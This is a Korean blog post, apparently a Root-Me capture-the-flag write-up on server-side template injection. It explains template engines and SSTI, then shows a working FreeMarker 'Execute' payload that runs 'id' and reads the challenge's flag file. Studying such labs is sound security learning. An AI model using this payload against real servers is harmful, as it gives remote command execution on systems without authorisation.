Web-Server) Server-side Template injection
Wargame/Root-Me

Web-Server) Server-side Template injection

1. Why do we use Server-side Template?

: SSTI를 이해하기 위해서는 정적/동적 웹페이지에 대해서 알고 있어야 한다. 정적 웹페이지는 서버에 저장된 정보를 그냥 보여주고, 동적 웹 페이지는 서버의 정보를 스크립트로 한번 가공하여 유저에게 보여주는 웹페이지 라고 한다. 

웹페이지를 제작하는데는 주로 HTML, css, JS, PHP 등을 사용하게 된다. 그렇지만 HTML을 사용하여 동적 페이지를 만들게 되면 관리가 어렵고, 코드가 길어진다는 단점이 존재한다. 

이 때 템플릿을 이용하게 된다면 간단한 문법을 사용하여 더 쉽고 짧은 코드로 사용할 수 있고, 하나의 템플릿을 만들어 놓으면 여러 페이지에 적용하여 유지보수가 더 쉽게 된다고 한다.

 

2. Vulnerability of Server-side Template

: 위와 같은 장점을 갖고 있기 때문에 많은 페이지에서 템플릿을 사용하지만, SST에는 치명적인 단점이 있다.

만약 Remote Code Execution이 템플릿에 들어가게 된다면 공격자가 원하는 대로 인젝션을 할수 있게 된다는 것이다.

XSS와 헷갈릴 수 있지만, SSTI는 웹 서버 내부에 직접적으로 공격을 가한다는 것이 특징이다.

이 때 어떠한 템플릿 엔진을 사용하는지 버프슈트나 tql맵으로 확인이 가능하다고 하니, 먼저 확인 후에 어떤 공격 코드를 인젝션 할 것인지 결정해야 할듯 싶다.

 

+) 참조

https://portswigger.net/research/server-side-template-injection

 

Server-Side Template Injection

Template engines are widely used by web applications to present dynamic data via web pages and emails. Unsafely embedding user input in templates enables Server-Side Template Injection, a frequently c

portswigger.net

 

1) 일단 접속하면 nickname을 알고 있느냐고 뜬다.  

 

2) 닉네임을 입력하면 원래 저장되어있는 문자열+$var 로 조합하여 인사말이 뜬다.

 

3) 어떤 템플릿 엔진을 사용하는지 알아보기 위해 몇가지 payload를 조합해보았다.

 

   1. ${whoami} -> 실패.

   2. personal_greeting='username' -> 실패. 

   3.  <#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }

 

성공했다. 아마 freemarker 엔진을 이용하고 있는 것 같다. 어떻게 조합해야되는지 검색을 좀 해보았다.

-> 그냥 ex 명령어 안에 리눅스 명령어를 조합하면 되는 것 같다.

<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("cat SECRET_FLAG.txt") }

 

 

: 플래그를 바로 확인 할 수 있다. java 템플릿도 공격하기 매우 취약한 대상이라는 것을 알게되서 흥미로웠던 것 같다!!